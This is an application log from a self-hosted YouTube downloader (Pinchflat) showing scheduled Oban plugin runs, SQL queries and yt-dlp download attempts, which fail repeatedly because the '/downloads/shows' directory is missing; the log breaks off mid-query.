{"source":"oban","duration":29697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:43.790 [info] {"source":"oban","duration":23196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:01.002 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:13.816 [info] {"source":"oban","duration":23029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:43.829 [info] {"source":"oban","duration":3208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.008 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:13.834 [info] {"source":"oban","duration":3388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:43.839 [info] {"source":"oban","duration":3083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.012 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:13.854 [info] {"source":"oban","duration":3616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:43.863 [info] {"source":"oban","duration":3517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.016 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:13.868 [info] {"source":"oban","duration":2874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:43.875 [info] {"source":"oban","duration":3257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.019 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:13.880 [info] {"source":"oban","duration":3250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:43.885 [info] {"source":"oban","duration":3281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.030 [info] {"source":"oban","duration":2988,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:13.893 [info] {"source":"oban","duration":2728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:43.899 [info] {"source":"oban","duration":4349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.032 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:13.911 [info] {"source":"oban","duration":3930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:43.919 [info] {"source":"oban","duration":5087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.040 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:00.476 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788406680474924316,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:38:00.498 [debug] QUERY OK source="media_items" db=2.7ms queue=0.2ms idle=1021.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:38:00.499 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:38:00.501 [debug] QUERY OK source="sources" db=1.4ms idle=1040.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:38:00.503 [debug] QUERY OK source="media_profiles" db=1.5ms idle=462.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:38:00.505 [debug] QUERY OK source="media_items" db=1.3ms idle=38.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:38:00.512 [debug] QUERY OK source="media_metadata" db=0.7ms idle=37.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:38:00.513 [debug] QUERY OK source="media_profiles" db=0.5ms idle=33.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:38:00.514 [debug] QUERY OK source="settings" db=0.4ms idle=13.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:00.515 [debug] QUERY OK source="settings" db=0.2ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:00.516 [debug] Running yt-dlp command for action: get_downloadable_status 13:38:00.518 [debug] QUERY OK source="settings" db=0.5ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:00.519 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:00.519 [debug] QUERY OK source="settings" db=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:00.520 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7c/05/7c05acac3a0e64c3a911c9c41081f123346c510ebb58ef470a5b52671d4ef270.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:38:12.022 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7c/05/7c05acac3a0e64c3a911c9c41081f123346c510ebb58ef470a5b52671d4ef270.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:38:12.026 [debug] Running yt-dlp command for action: download 13:38:12.031 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=1544.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:12.032 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1550.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:12.033 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1551.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:38:12.035 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/34/5e/345ef98c4edab2bce3c45cfd3a828b05777436f8b4249c927a70c2582aa53f13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:38:13.946 [info] {"source":"oban","duration":25776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:22.597 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/34/5e/345ef98c4edab2bce3c45cfd3a828b05777436f8b4249c927a70c2582aa53f13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:38:22.598 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:38:22.605 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":22125056,"event":"job:exception","queue_time":281923,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:38:43.968 [info] {"source":"oban","duration":16988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.043 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:13.973 [info] {"source":"oban","duration":3163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:43.982 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.046 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:13.996 [info] {"source":"oban","duration":2853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:44.001 [info] {"source":"oban","duration":2604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.047 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:14.006 [info] {"source":"oban","duration":2712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:44.030 [info] {"source":"oban","duration":21281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.049 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:14.034 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:44.040 [info] {"source":"oban","duration":4238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.053 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:14.045 [info] {"source":"oban","duration":2704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:44.053 [info] {"source":"oban","duration":2925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.057 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:14.082 [info] {"source":"oban","duration":21448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:44.086 [info] {"source":"oban","duration":2666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.060 [info] {"source":"oban","duration":1991,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:14.097 [info] {"source":"oban","duration":2592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:44.102 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.067 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:14.109 [info] {"source":"oban","duration":4673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:44.113 [info] {"source":"oban","duration":3000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.070 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:14.125 [info] {"source":"oban","duration":8366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:44.139 [info] {"source":"oban","duration":3060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.073 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:14.142 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:44.145 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.086 [info] {"source":"oban","duration":2934,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:14.158 [info] {"source":"oban","duration":8028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:44.165 [info] {"source":"oban","duration":3147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.094 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:14.172 [info] {"source":"oban","duration":3080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:44.179 [info] {"source":"oban","duration":3353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.097 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:14.193 [info] {"source":"oban","duration":2678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:44.198 [info] {"source":"oban","duration":2327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.099 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:14.205 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:44.209 [info] {"source":"oban","duration":2281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.101 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:14.223 [info] {"source":"oban","duration":3299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:44.228 [info] {"source":"oban","duration":2637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.108 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:14.233 [info] {"source":"oban","duration":3084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:44.240 [info] {"source":"oban","duration":4377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.111 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:14.245 [info] {"source":"oban","duration":3104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:44.263 [info] {"source":"oban","duration":13487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.117 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:14.268 [info] {"source":"oban","duration":3744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:32.592 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788407792591273697,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:56:32.604 [debug] QUERY OK source="media_items" db=2.2ms queue=0.4ms idle=626.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:56:32.605 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:56:32.607 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=639.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:56:32.611 [debug] QUERY OK source="media_profiles" db=2.7ms queue=0.2ms idle=641.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:56:32.614 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=33.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:56:32.620 [debug] QUERY OK source="media_metadata" db=0.7ms idle=28.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:56:32.620 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.3ms idle=24.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:56:32.622 [debug] QUERY OK source="settings" db=0.5ms idle=13.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:32.622 [debug] QUERY OK source="settings" db=0.2ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:32.624 [debug] Running yt-dlp command for action: get_downloadable_status 13:56:32.626 [debug] QUERY OK source="settings" db=0.2ms idle=11.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:32.626 [debug] QUERY OK source="settings" db=0.3ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:32.627 [debug] QUERY OK source="settings" db=0.2ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:32.627 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4c/58/4c584eb37afd7211d5a42f6a74d9191df99cb89cc6d4c597cdcbc0476792467e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:56:43.521 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4c/58/4c584eb37afd7211d5a42f6a74d9191df99cb89cc6d4c597cdcbc0476792467e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:56:43.524 [debug] Running yt-dlp command for action: download 13:56:43.526 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=1533.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:43.526 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1535.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:56:43.527 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1535.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 